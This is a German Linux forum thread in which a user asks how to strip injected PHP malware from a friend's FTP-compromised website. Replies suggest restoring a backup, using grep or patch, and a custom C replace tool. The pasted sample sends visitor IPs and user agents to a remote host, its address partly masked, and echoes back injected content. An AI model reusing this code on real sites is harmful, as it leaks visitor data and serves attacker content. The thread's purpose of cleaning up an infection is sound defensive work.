mit sed komplexen code suchen und löschen

Vom einfachen Programm zum fertigen Debian-Paket, Fragen rund um Programmiersprachen, Scripting und Lizenzierung.
Antworten
BrianFFM
Beiträge: 222
Registriert: 21.04.2004 11:54:33
Wohnort: L.A. in Hessen

mit sed komplexen code suchen und löschen

Beitrag von BrianFFM » 15.08.2013 15:43:14

hallo ..

die Website von eine Freund wurde mithilfe seiner FTP Zugangsdaten mit schadcode infiziert. soweit ich das überblicke, wurde in alle Dateien ein Code eingefügt:
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chro$
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'XXXXXXXXXXXXXXXXX2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urle$
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
die base64 habe ich aus sicherheitsgründen geändert.

ich würde gerne die Dateien automatisiert säubern. sed bietet sich da ja an .. ich habe die Zeilenumbrüche schon konvertiert ..
<?php\nif (!isset($sRetry))\n{\nglobal $sRetry;\n$sRetry = 1;\n // This code use for global bot statistic\n $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot\n $stCurlHandle = NULL;\n $stCurlLink = "";\n if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chro$\n {\n if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics \n $stCurlLink = base64_decode( 'XXXXXXXXXXXXXXXXXXXXYXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urle$\n @$stCurlHandle = curl_init( $stCurlLink ); \n }\n } \nif ( $stCurlHandle !== NULL )\n{\n curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);\n $sResult = @curl_exec($stCurlHandle); \n if ($sResult[0]=="O") \n {$sResult[0]=" ";\n echo $sResult; // Statistic code end\n }\n curl_close($stCurlHandle); \n}\n}\n?>
doch es kommen unheimlich viele sonderzeichen darin vor die sicher escapt werden müssen. denn so klappt das nicht .. ich bekomme zB syntax error near unexpected token `(' ...

weis jemand wie ich das machen kann oder den text automatisiert escapen kann das ich das in sed einsetzen kann?

danke ..
Debian GNU Linux testing
Toffifee Sattelite 5200/902

Hast du keine Probleme?
Dann kauf dir einen Computer !

.

Cae
Beiträge: 6349
Registriert: 17.07.2011 23:36:39
Wohnort: 2130706433

Re: mit sed komplexen code suchen und löschen

Beitrag von Cae » 15.08.2013 19:03:01

Vorneweg: Spiel' das Backup ein. Dafuer ist es da; du weisst nicht, was sonst noch korrumpiert wurde.

Vielleicht reicht das Escaping aus, was ich mal in [1] geschrieben hatte.

So wirklich gluecklich bin ich damit aber nicht, vielleicht eignet sich

Code: Alles auswählen

for file in *php; do
	cp "$file" "$file.old";
	grep -vF '<?php
if (!isset($sRetry))
{ ...' "$file.old" >"$file";
done
Man muesste "nur noch" auf Ticks ' filtern und die als '\'' escapen. -F verhindert Interpretation von irgendwelchen Sonderzeichen, -v gibt nur nicht-matchende Zeilen aus. Aber... das macht dann zeilenweise anstatt als kompletter Block. Ist also nix.

Man koennte mit sed (oder grep oder awk) auf ein paar markante Zeilen matchen und in diesem Fall einen definierten Teil abschneiden. Evtl. kann man auch patch dazu missbrauchen, gefakte Patches fuer jede Datei einzuspielen. In diesen Patches wuerde die Aenderung zu einer Version ohne den eingefuegte Code simuliert.

Gruss Cae

[1] viewtopic.php?p=944509#p944509
If universal surveillance were the answer, lots of us would have moved to the former East Germany. If surveillance cameras were the answer, camera-happy London, with something like 500,000 of them at a cost of $700 million, would be the safest city on the planet.

—Bruce Schneier

linuxCowboy
Beiträge: 287
Registriert: 05.02.2013 19:47:41

Re: mit sed komplexen code suchen und löschen

Beitrag von linuxCowboy » 15.08.2013 19:56:25

Nimm den BiRipl8z'er!

Läuft gut unter Wine.
-der_linux_cowboy --- Besser werden! ... f*** w$$

Cae
Beiträge: 6349
Registriert: 17.07.2011 23:36:39
Wohnort: 2130706433

Re: mit sed komplexen code suchen und löschen

Beitrag von Cae » 15.08.2013 22:13:22

Weil mir das gerade zu bloed geworden ist, hab' ich da eine eigene Implementierung in C gebaut [1]. Funktioniert analog zu tr(1):

Code: Alles auswählen

$ tr abc def <input >output
$ binx srcmap dstmap <input >output
Allerdings sind die beiden Argumente keine Zeichenketten, sondern Dateien, die Quell- und Zieltext enthalten. Analog zu tr -d gibt es binx srcmap -dx, was bei einem Match "loescht", also mit xen ueberschreibt [2]. Echtes Loeschen hab' ich auf die Schnelle nicht implementiert, aber da faellt ein String fixer Laenge raus, den man mit

Code: Alles auswählen

sed -i 's/x\{200,\}//g' file
problemlos entfernt. Anwendungsbeispiele:

Code: Alles auswählen

$ ./binx a b <c >d
$ for file in a b c d; do echo -n '['; cat -v "$file"; echo -n ']'; done; echo
[bar
foo][baz
ufo][foo bar
foo firstword baz
foobar
][foo baz
ufo firstword baz
foobar
]
$ ./binx a -dx <c >d
$ for file in a b c d; do echo -n '['; cat -v "$file"; echo -n ']'; done; echo
[bar
foo][baz
ufo][foo bar
foo firstword baz
foobar
][foo xxxxxxx firstword baz
foobar
]
$ 
Wie man sieht, wurde bar\nfoo durch baz\nufo bzw. xe ersetzt.

Falls jemand gut C proggen kann, freue ich mich ueber Feedback. Mal abgesehen von dem optimierungswuerdigen Errorhandling (perror()/errno) und Uebersichtlichkeit seh' ich da keine groeberen Schnitzer. Es koennte problematisch werden, wenn sich die Dateigroesse zwischen stat() und read() aendert, aber auch dann wird nicht mehr als der malloc()'d Speicher beschrieben. Der Output ist einfach unvollstaendig. Wie koennte man gescheites Entfernen implementieren? Ich denke an eine einfach verkettete "Blacklist", die Speicherbereiche mit Offset und Laenge als "nicht zu schreiben" kennzeichnet. Oder umgekehrt, und write() huepft dann von Whitelist-Node zu Whitelist-Node. Oder man schreibt bei jedem zu loeschenden Teil und setzt den Pointer auf die erste nicht zu loeschende Speicherstelle. Ach, und man koennte das cmp() als long long gecasteten Speicher vergleichen lassen, damit weniger Vergleiche noetig sind als bei chars.

Gruss Cae

[1] https://paste.debian.net/hidden/264ead6e/
[2] oder Nullbytes oder was auch immer das Zeichen nach -d ist
If universal surveillance were the answer, lots of us would have moved to the former East Germany. If surveillance cameras were the answer, camera-happy London, with something like 500,000 of them at a cost of $700 million, would be the safest city on the planet.

—Bruce Schneier

Antworten